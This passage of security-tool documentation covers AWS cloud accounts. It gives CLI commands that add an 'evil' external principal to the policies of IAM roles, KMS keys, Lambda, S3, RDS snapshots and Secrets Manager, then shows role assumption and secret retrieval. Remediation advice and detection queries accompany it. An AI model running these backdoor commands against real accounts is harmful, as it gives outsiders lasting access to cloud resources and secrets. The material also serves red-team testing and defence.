"Sid": "",
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
},
{
"Sid": "AllowCurrentAccount",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::111122223333:root"
},
"Action": "sts:AssumeRole"
},
{
"Sid": "Endgame",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::999988887777:user/evil"
},
"Action": "sts:AssumeRole"
}
]
},
"Tags": [
{
"Key": "Owner",
"Value": "yourmom"
}
],
"RoleLastUsed": {}
}
}
```
## Exploitation
* Set your AWS Access keys to the Evil Principal (`arn:aws:iam::999988887777:user/evil`) credentials
* Verify that you can run `sts:AssumeRole` to the victim account
```bash
aws sts assume-role --profile evil --role-arn arn:aws:iam::111122223333:role/test-resource-exposure --role-session-name HotDogsAreSandwiches
```
* The output will contain `AccessKeyId`, `SecretAccessKey`, and `SessionToken` below. Note the values.
```
{
"Credentials": {
"AccessKeyId": "",
"SecretAccessKey": "",
"SessionToken": "",
"Expiration": "2021-02-13T21:24:46Z"
},
"AssumedRoleUser": {
"AssumedRoleId": "roleid:HotDogsAreSandwiches",
"Arn": "arn:aws:sts::111122223333:assumed-role/test-resource-exposure/HotDogsAreSandwiches"
}
}
```
* Set those values to your AWS credentials environment variables
```bash
export AWS_ACCESS_KEY_ID=outputfromAccessKeyId
export AWS_SECRET_ACCESS_KEY=outputfromSecretAccessKey
export AWS_SESSION_TOKEN=outputfromSessionToken
```
* To validate that you are leveraging the victim's credentials, run `aws sts get-caller-identity` (this API Call is the equivalent of `whoami`)
```bash
aws sts get-caller-identity
```
* Observe that the output of the call contains the Victim Account ID under `Account`, as well as an ARN that indicates you have assumed the victim role.
```
{
"UserId": "AROAblah:HotDogsAreSandwiches",
"Account": "111122223333",
"Arn": "arn:aws:sts::111122223333:assumed-role/test-resource-exposure/HotDogsAreSandwiches"
}
```
* Congratulations! You've created a backdoor role in the victim's account 😈
## Remediation
* **Trusted Accounts Only**: Ensure that IAM roles can only be assumed by trusted accounts and the trusted principals within those accounts.
* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.
* **AWS Access Analyzer**: Leverage AWS Access Analyzer to report on external access to Assume IAM Roles. See [the AWS Access Analyzer documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html) for more details.
* **Restrict access to IAM permissions that could lead to exposure of your IAM Roles**: Tightly control access to the following IAM actions:
- [iam:UpdateAssumeRolePolicy](https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateAssumeRolePolicy.html): _Grants permission to update the policy that grants an IAM entity permission to assume a role_
- [iam:GetRole](https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetRole.html): _Grants permission to retrieve information about the specified role, including the role's path, GUID, ARN, and the role's trust policy_
- [iam:ListRoles](https://docs.aws.amazon.com/IAM/latest/APIReference/API_ListRoles.html): _Grants permission to list the IAM roles that have the specified path prefix_
Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)
## Basic Detection
The following CloudWatch Log Insights query will include exposure actions taken by endgame:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='iam.amazonaws.com' and eventName='UpdateAssumeRolePolicy'
```
This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.
## References
* [update-assume-role-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/update-assume-role-policy.html)
* [Learn more about IAM cross-account trust](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_common-scenarios_aws-accounts.html)
================================================
FILE: docs/risks/kms.md
================================================
# KMS Keys
* [Steps to Reproduce](#steps-to-reproduce)
* [Exploitation](#exploitation)
* [Remediation](#remediation)
* [Basic Detection](#basic-detection)
* [References](#references)
## Steps to Reproduce
* To expose the resource using `endgame`, run the following from the victim account:
```bash
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
endgame expose --service kms --name test-resource-exposure
```
* To view the contents of the Glacier Vault Access Policy, run the following:
```bash
export VICTIM_KEY_ARN=arn:aws:kms:us-east-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab
aws kms get-key-policy --key-id $VICTIM_KEY_ARN --policy-name default
```
* Observe that the output of the overly permissive KMS Key Policy resembles the example shown below.
## Example
Observe that the policy below allows the evil principal (`arn:aws:iam::999988887777:user/evil`) the `kms:*` permissions to the KMS Key.
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Endgame",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::999988887777:user/evil"
},
"Action": "kms:*",
"Resource": "arn:aws:kms:us-east-1:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab"
}
]
}
```
## Exploitation
```
TODO
```
## Remediation
* **Leverage Strong Resource-based Policies**: Follow the resource-based policy recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#leverage-strong-resource-based-policies)
* **Trusted Accounts Only**: Ensure that KMS Keys are only shared with trusted accounts, and that the trusted accounts truly need access to the key.
* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.
* **AWS Access Analyzer**: Leverage AWS Access Analyzer to report on external access to KMS Keys. See [the AWS Access Analyzer documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html) for more details.
* **Restrict access to IAM permissions that could lead to exposure of your KMS Keys**: Tightly control access to the following IAM actions:
- [kms:PutKeyPolicy](https://docs.aws.amazon.com/kms/latest/APIReference/API_PutKeyPolicy.html): _Controls permission to replace the key policy for the specified customer master key_
- [kms:GetKeyPolicy](https://docs.aws.amazon.com/kms/latest/APIReference/API_GetKeyPolicy.html): _Controls permission to view the key policy for the specified customer master key_
- [kms:ListKeys](https://docs.aws.amazon.com/kms/latest/APIReference/API_ListKeys.html): _Controls permission to view the key ID and Amazon Resource Name (ARN) of all customer master keys in the account_
- [kms:ListAliases](https://docs.aws.amazon.com/kms/latest/APIReference/API_ListAliases.html): _Controls permission to view the aliases that are defined in the account. Aliases are optional friendly names that you can associate with customer master keys_
Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)
## Basic Detection
The following CloudWatch Log Insights query will include exposure actions taken by endgame:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='kms.amazonaws.com' and eventName='PutKeyPolicy'
```
The following query detects policy modifications which include the default IOC string:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='kms.amazonaws.com' and (eventName='PutKeyPolicy' and requestParameters.policy like 'Endgame')
```
This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.
## References
* [put-key-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/kms/put-key-policy.html)
* [get-key-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/kms/get-key-policy.html)
================================================
FILE: docs/risks/lambda-functions.md
================================================
# Lambda Function Cross-Account Access
* [Steps to Reproduce](#steps-to-reproduce)
* [Exploitation](#exploitation)
* [Remediation](#remediation)
* [Basic Detection](#basic-detection)
* [References](#references)
AWS Lambda Permission Policies (aka resource-based policies) can allow functions to be invoked from AWS accounts other than the one it is running in.
Compromised Lambda functions are a known attack path for [Privilege Escalation](https://resources.infosecinstitute.com/topic/cloudgoat-walkthrough-lambda-privilege-escalation/) and other nefarious use cases. While the impact often depends on the context of the Lambdas itself, Lambda functions often modify AWS infrastructure or have data plane access. Abusing these capabilities could compromise the confidentiality and integrity of the resources in the account.
Existing Exploitation tools such as [Pacu](https://github.com/RhinoSecurityLabs/pacu) have capabilities that help attackers exploit compromised Lambda functions. Pacu, for example, has modules that leverage Lambda functions to [backdoor new IAM roles](https://github.com/RhinoSecurityLabs/pacu/tree/master/modules/lambda__backdoor_new_roles), to [modify security groups](https://github.com/RhinoSecurityLabs/pacu/tree/master/modules/lambda__backdoor_new_sec_groups), and to [create new IAM users](https://github.com/RhinoSecurityLabs/pacu/tree/master/modules/lambda__backdoor_new_users). As such, Lambda functions are high-value targets to attackers, and existing exploitation frameworks such as Pacu and others increase the likelihood for abuse when a Lambda function is compromised.
## Steps to Reproduce
* **Option 1**: To expose the Lambda function using `endgame`, run the following from the victim account:
```bash
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
endgame expose --service lambda --name test-resource-exposure
```
* **Option 2**: To expose the Lambda Function using AWS CLI, run the following from the victim account:
```bash
export EVIL_PRINCIPAL_ACCOUNT=999988887777
aws lambda add-permission \
--function-name test-resource-exposure \
--action lambda:* \
--statement-id Endgame \
--principal $EVIL_PRINCIPAL_ACCOUNT
```
* To view the contents of the exposed resource policy, run the following:
```bash
aws lambda get-policy --function-name test-resource-exposure
```
* Observe that the contents of the exposed resource policy match the example shown below.
## Example
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Endgame",
"Effect": "Allow",
"Principal": {
"AWS": "999988887777"
},
"Action": [
"lambda:*"
],
"Resource": "arn:aws:lambda:us-east-1:111122223333:test-resource-exposure"
}
]
}
```
## Exploitation
* Authenticate to the `evil` account (In this example, `arn:aws:iam::999988887777:user/evil`)
* Run the following command to invoke the function in the victim account:
```bash
export VICTIM_LAMBDA=arn:aws:lambda:us-east-1:111122223333:test-resource-exposure
aws lambda invoke --function-name $VICTIM_LAMBDA
```
* Observe that the output resembles the following:
```json
{
"ExecutedVersion": "$LATEST",
"StatusCode": 200
}
```
## Remediation
* **Trusted Accounts Only**: Ensure that cross-account Lambda functions allow access only to trusted accounts to prevent unknown function invocation requests
* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.
* **AWS Access Analyzer**: Leverage AWS Access Analyzer to report on external access to Lambda Functions. See [the AWS Access Analyzer documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-lambda) for more details.
* **Restrict access to IAM permissions that could lead to exposure of your Lambda Functions**: Tightly control access to the following IAM actions:
- [lambda:AddPermission](https://docs.aws.amazon.com/lambda/latest/dg/API_AddPermission.html): _Grants permission to give an AWS service or another account permission to use an AWS Lambda function_
- [lambda:GetPolicy](https://docs.aws.amazon.com/lambda/latest/dg/API_GetPolicy.html): _Grants permission to view the resource-based policy for an AWS Lambda function, version, or alias_
- [lambda:InvokeFunction](https://docs.aws.amazon.com/lambda/latest/dg/API_Invoke.html): _Grants permission to invoke an AWS Lambda function_
- [lambda:ListFunctions](https://docs.aws.amazon.com/lambda/latest/dg/API_ListFunctions.html): _Grants permission to retrieve a list of AWS Lambda functions, with the version-specific configuration of each function_
- [lambda:RemovePermission](https://docs.aws.amazon.com/lambda/latest/dg/API_RemovePermission.html): _Grants permission to revoke function-use permission from an AWS service or another account_
Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)
## Basic Detection
The following CloudWatch Log Insights query will include exposure actions taken by endgame:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='lambda.amazonaws.com' and eventName like 'AddPermission'
```
The following query detects policy modifications which include the default IOC string:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='lambda.amazonaws.com' and (eventName like 'AddPermission' and requestParameters.statementId='Endgame')
```
This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.
## References
* [aws lambda add-permission](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/add-permission.html)
* [Access Analyzer support for AWS Lambda Functions](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-lambda)
================================================
FILE: docs/risks/lambda-layers.md
================================================
# Lambda Layers
* [Steps to Reproduce](#steps-to-reproduce)
* [Exploitation](#exploitation)
* [Remediation](#remediation)
* [References](#references)
## Steps to Reproduce
* To expose the resource using `endgame`, run the following from the victim account:
```bash
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
endgame expose --service lambda-layer --name test-resource-exposure:1
```
* To view the contents of the Lambda layer policy, run the following:
```bash
export VICTIM_RESOURCE_ARN=arn:aws:lambda:us-east-1:111122223333:layer:test-resource-exposure
export VERSION=3
aws lambda get-layer-version-policy \
--layer-name $VICTIM_RESOURCE_ARN \
--version-number $VERSION
```
* Observe that the output of the overly permissive Lambda Layer Policy resembles the example shown below.
## Example
Observe that the Evil principal's account ID (`999988887777`) is given `lambda:GetLayerVersion` access to the Lambda layer `arn:aws:lambda:us-east-1:111122223333:layer:test-resource-exposure:1`.
```json
{
"Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"AllowCurrentAccount\",\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::111122223333:root\"},\"Action\":\"lambda:GetLayerVersion\",\"Resource\":\"arn:aws:lambda:us-east-1:111122223333:layer:test-resource-exposure:1\"},{\"Sid\":\"Endgame\",\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::999988887777:root\"},\"Action\":\"lambda:GetLayerVersion\",\"Resource\":\"arn:aws:lambda:us-east-1:111122223333:layer:test-resource-exposure:1\"}]}",
"RevisionId": ""
}
```
## Exploitation
```
TODO
```
## Remediation
* **Trusted Accounts Only**: Ensure that Lambda Layers are only shared with trusted accounts.
* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.
* **AWS Access Analyzer**: Leverage AWS Access Analyzer to report on external access to Lambda Layers. See [the AWS Access Analyzer documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-lambda) for more details.
* **Restrict access to IAM permissions that could lead to exposure of your Lambda Layers**: Tightly control access to the following IAM actions:
- [lambda:AddLayerVersionPermission](https://docs.aws.amazon.com/lambda/latest/dg/API_AddLayerVersionPermission.html): _Grants permission to add permissions to the resource-based policy of a version of an AWS Lambda layer_
- [lambda:GetLayerVersionPolicy](https://docs.aws.amazon.com/lambda/latest/dg/API_GetLayerVersionPolicy.html): _Grants permission to view the resource-based policy for a version of an AWS Lambda layer_
- [lambda:ListFunctions](https://docs.aws.amazon.com/lambda/latest/dg/API_ListFunctions.html): _Grants permission to retrieve a list of AWS Lambda functions, with the version-specific configuration of each function_
- [lambda:ListLayers](https://docs.aws.amazon.com/lambda/latest/dg/API_ListLayers.html): _Grants permission to retrieve a list of AWS Lambda layers, with details about the latest version of each layer_
- [lambda:ListLayerVersions](https://docs.aws.amazon.com/lambda/latest/dg/API_ListLayerVersions.html): _Grants permission to retrieve a list of versions of an AWS Lambda layer_
- [lambda:RemoveLayerVersionPermission](https://docs.aws.amazon.com/lambda/latest/dg/API_RemoveLayerVersionPermission.html): _Grants permission to remove a statement from the permissions policy for a version of an AWS Lambda layer_
Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)
## References
* [aws lambda add-layer-version-permission](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/add-layer-version-permission.html)
* [aws lambda get-layer-version-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/get-layer-version-policy.html)
* [Access Analyzer support for AWS Lambda Functions](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-lambda)
================================================
FILE: docs/risks/logs.md
================================================
# CloudWatch Logs Resource Policies
CloudWatch Resource Policies allow other AWS services or IAM Principals to put log events into the account.
* [Steps to Reproduce](#steps-to-reproduce)
* [Exploitation](#exploitation)
* [Remediation](#remediation)
* [References](#references)
## Steps to Reproduce
* To expose the resource using `endgame`, run the following from the victim account:
```bash
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
endgame expose --service cloudwatch --name test-resource-exposure
```
* To view the contents of the exposed resource policy, run the following:
```bash
aws logs describe-resource-policies
```
* Observe that the contents of the exposed resource policy match the example shown below.
## Example
```json
{
"resourcePolicies": [
{
"policyName": "test-resource-exposure",
"policyDocument": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Sid\":\"\",\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::999988887777:root\"},\"Action\":[\"logs:PutLogEventsBatch\",\"logs:PutLogEvents\",\"logs:CreateLogStream\"],\"Resource\":\"arn:aws:logs:*\"}]}",
"lastUpdatedTime": 1613244111319
}
]
}
```
## Exploitation
```
TODO
```
## Remediation
> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊
* **Trusted Accounts Only**: Ensure that CloudWatch Logs access is only shared with trusted accounts, and that the trusted accounts truly need access to write to the CloudWatch Logs.
* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.
* **Restrict access to IAM permissions that could lead to exposing write access to your CloudWatch Logs**: Tightly control access to the following IAM actions:
- [logs:PutResourcePolicy](https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_PutResourcePolicy.html): _Creates or updates a resource policy allowing other AWS services to put log events to this account_
- [logs:DeleteResourcePolicy](https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_DeleteResourcePolicy.html): _Deletes a resource policy from this account. This revokes the access of the identities in that policy to put log events to this account._
- [logs:DescribeResourcePolicies](https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_DescribeResourcePolicies.html): _Lists the resource policies in this account._
Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)
## References
* [CloudWatch Logs Resource Policies](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/iam-access-control-overview-cwl.html)
* [API Documentation: PutResourcePolicy](https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_PutResourcePolicy.html)
* [aws logs put-resource-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/put-resource-policy.html)
* [aws logs describe-resource-policy](https://docs.aws.amazon.com/cli/latest/reference/logs/describe-resource-policies.html)
================================================
FILE: docs/risks/rds-snapshots.md
================================================
# RDS Snapshots
* [Steps to Reproduce](#steps-to-reproduce)
* [Exploitation](#exploitation)
* [Remediation](#remediation)
* [Basic Detection](#basic-detection)
* [References](#references)
## Steps to Reproduce
* To expose the resource using `endgame`, run the following from the victim account:
```bash
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
endgame expose --service rds --name test-resource-exposure
```
* To view a list of the AWS Accounts that have access to the RDS DB Snapshot, run the following command from the victim account:
```bash
aws rds describe-db-snapshot-attributes \
--db-snapshot-identifier test-resource-exposure
```
## Example
* Observe that the account ID of the evil principal (`999988887777`) is listed alongside the AttributeName called `restore`. This means that the evil account ID is able to restore the snapshot of the RDS database in their own account.
```json
{
"DBSnapshotAttributesResult": {
"DBSnapshotIdentifier": "test-resource-exposure",
"DBSnapshotAttributes": [
{
"AttributeName": "restore",
"AttributeValues": [
"999988887777"
]
}
]
}
}
```
## Exploitation
After the RDS snapshot is public or shared with the rogue user account, an attacker can then:
* [copy the snapshot](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_CopySnapshot.html#USER_CopyDBSnapshot)
* [Restore a DB Instance from the DB Snapshot](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_Tutorials.RestoringFromSnapshot.html)
* Browse the contents of the database, potentially revealing sensitive or otherwise non-public information.
## Remediation
> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊
* **Encrypt all Snapshots with Customer-Managed Keys**: Follow the encryption-related recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#use-aws-kms-customer-managed-keys)
* **Trusted Accounts Only**: Ensure that RDS Snapshots are only shared with trusted accounts, and that the trusted accounts truly need access to the RDS Snapshots.
* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.
* **Restrict access to IAM permissions that could lead to exposure of your RDS Snapshots**: Tightly control access to the following IAM actions:
- [rds:DescribeDbClusterSnapshotAttributes](https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBClusterSnapshotAttributes.html): _Grants permission to return a list of DB cluster snapshot attribute names and values for a manual DB cluster snapshot. This includes information on which AWS Accounts have access to the snapshot._
- [rds:DescribeDbClusterSnapshots](https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBClusterSnapshots.html): _Grants permission to return information about DB cluster snapshots._
- [rds:DescribeDbSnapshotAttributes](https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBSnapshotAttributes.html): _Grants permission to return a list of DB snapshot attribute names and values for a manual DB snapshot. This includes information on which AWS Accounts have access to the snapshot._
- [rds:DescribeDbSnapshots](https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBSnapshots.html): _Grants permission to return information about DB snapshots_
- [rds:ModifyDBSnapshotAttribute](https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_ModifyDBSnapshotAttribute.html): _Grants permission to add an attribute and values to, or removes an attribute and values from, a manual DB snapshot. This includes the ability to share snapshots with other AWS Accounts._
- [rds:ModifyDBClusterSnapshotAttribute](https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_ModifyDBClusterSnapshotAttribute.html): _Grants permission to add an attribute and values to, or removes an attribute and values from, a manual DB cluster snapshot. This includes the ability to share snapshots with other AWS Accounts._
Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)
## Basic Detection
The following CloudWatch Log Insights query will include exposure actions taken by endgame:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='rds.amazonaws.com' AND (eventName='ModifyDBSnapshotAttribute' or eventName='ModifyDBClusterSnapshotAttribute' and requestParameters.attributeName='restore')
```
This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.
## References
- [aws rds modify-db-cluster-snapshot-attribute](https://docs.aws.amazon.com/cli/latest/reference/rds/modify-db-cluster-snapshot-attribute.html)
- [aws rds modify-db-snapshot-attribute](https://docs.aws.amazon.com/cli/latest/reference/rds/modify-db-snapshot-attribute.html)
- [aws rds describe-db-snapshot-attributes](https://docs.aws.amazon.com/cli/latest/reference/rds/describe-db-snapshot-attributes.html)
================================================
FILE: docs/risks/s3.md
================================================
# S3 Buckets
* [Steps to Reproduce](#steps-to-reproduce)
* [Exploitation](#exploitation)
* [Remediation](#remediation)
* [Basic Detection](#basic-detection)
* [References](#references)
## Steps to Reproduce
* To expose the resource using `endgame`, run the following from the victim account:
```bash
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:evil
endgame expose --service s3 --name test-resource-exposure
```
* To verify that the S3 bucket has been shared with the public, run the following from the victim account:
```bash
aws s3api get-bucket-policy --bucket test-resource-exposure
```
* Observe that the contents match the example shown below.
## Example
The response of the `get-bucket-policy` command will return the below. Observe how the Evil Principal (`arn:aws:iam::999988887777:evil`) is granted full access to the S3 bucket.
```json
{
"Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Sid\":\"AllowCurrentAccount\",\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::999988887777:evil\"},\"Action\":\"s3:*\",\"Resource\":[\"arn:aws:s3:::test-resource-exposure\",\"arn:aws:s3:::test-resource-exposure/*\"]}]}"
}
```
## Exploitation
```
TODO
```
## Remediation
> ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊
* **Leverage Strong Resource-based Policies**: Follow the resource-based policy recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#leverage-strong-resource-based-policies)
* **Trusted Accounts Only**: Ensure that S3 Buckets are only shared with trusted accounts, and that the trusted accounts truly need access to the S3 Bucket.
* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.
* **Restrict access to IAM permissions that could lead to exposure of your S3 Buckets**: Tightly control access to the following IAM actions:
- [s3:GetBucketPolicy](https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketPolicy.html): _Grants permission to return the policy of the specified bucket. This includes information on which AWS accounts and principals have access to the bucket._
- [s3:ListAllMyBuckets](https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListBuckets.html): _Grants permission to list all buckets owned by the authenticated sender of the request_
- [s3:PutBucketPolicy](https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketPolicy.html): _Grants permission to add or replace a bucket policy on a bucket._
Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)
## Basic Detection
The following CloudWatch Log Insights query will include exposure actions taken by endgame:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='s3.amazonaws.com' AND eventName='PutBucketPolicy'
```
The following query detects policy modifications which include the default IOC string:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter eventSource='s3.amazonaws.com' AND (eventName='PutBucketPolicy' and @message like 'Endgame')
```
(More specific queries related to the policy contents do not work due to how CWL parses the requestParameters object on these calls)
This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.
## References
- [aws s3api put-bucket-policy](https://docs.aws.amazon.com/cli/latest/reference/s3api/put-bucket-policy.html)
- [aws s3api get-bucket-policy](https://docs.aws.amazon.com/cli/latest/reference/s3api/get-bucket-policy.html)
================================================
FILE: docs/risks/secretsmanager.md
================================================
# Secrets Manager
* [Steps to Reproduce](#steps-to-reproduce)
* [Exploitation](#exploitation)
* [Remediation](#remediation)
* [Basic Detection](#basic-detection)
* [References](#references)
## Steps to Reproduce
* **Option 1**: To expose the resource using `endgame`, run the following from the victim account:
```bash
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
endgame expose --service secretsmanager --name test-resource-exposure
```
* **Option 2**: To expose the resource using AWS CLI, run the following from the victim account:
```bash
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
export VICTIM_RESOURCE=arn:aws:secretsmanager:us-east-1:111122223333:secret/test-resource-exposure
export EVIL_POLICY='{"Version": "2012-10-17", "Statement": [{"Sid": "AllowCurrentAccount", "Effect": "Allow", "Principal": {"AWS": "arn:aws:iam::999988887777:user/evil"}, "Action": "secretsmanager:*", "Resource": ["arn:aws:secretsmanager:us-east-1:111122223333:secret/test-resource-exposure"]}]}'
aws secretsmanager put-resource-policy --secret-id --resource-policy $EVIL_POLICY
```
* To view the contents of the exposed resource policy, run the following:
```bash
aws secretsmanager get-resource-policy --secret-id test-resource-exposure
```
* Observe that the contents of the exposed resource policy match the example shown below.
## Example
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Endgame",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::999988887777:user/evil"
},
"Action": "secretsmanager:*",
"Resource": [
"arn:aws:secretsmanager:us-east-1:111122223333:secret/test-resource-exposure"
]
}
]
}
```
## Exploitation
* Authenticate to the `evil` account (In this example, `arn:aws:iam::999988887777:user/evil`)
* Run the following command in the victim account:
```bash
export VICTIM_RESOURCE=arn:aws:secretsmanager:us-east-1:111122223333:secret/test-resource-exposure
aws secretsmanager get-secret-value --secret-id $VICTIM_RESOURCE
```
* Observe that the output resembles the following:
```json
{
"ARN": "arn:aws:secretsmanager:us-east-1:111122223333:secret/test-resource-exposure",
"Name": "test-resource-exposure",
"VersionId": "DOGECOIN",
"SecretString": "{\n \"username\":\"doge\",\n \"password\":\"coin\"\n}\n",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": 1523477145.713
}
```
## Remediation
* **Leverage Strong Resource-based Policies**: Follow the resource-based policy recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#leverage-strong-resource-based-policies)
* **Trusted Accounts Only**: Ensure that Secrets Manager secrets are only shared with trusted accounts, and that the trusted accounts truly need access to the secret.
* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.
* **AWS Access Analyzer**: Leverage AWS Access Analyzer to report on external access to Secrets Manager secrets. See [the AWS Access Analyzer documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-secrets-manager) for more details.
* **Restrict access to IAM permissions that could lead to exposure of your Secrets**: Tightly control access to the following IAM actions:
- [secretsmanager:PutResourcePolicy](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_PutResourcePolicy.html): _Enables the user to attach a resource policy to a secret._
- [secretsmanager:GetSecretValue](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html): _Enables the user to retrieve and decrypt the encrypted data._
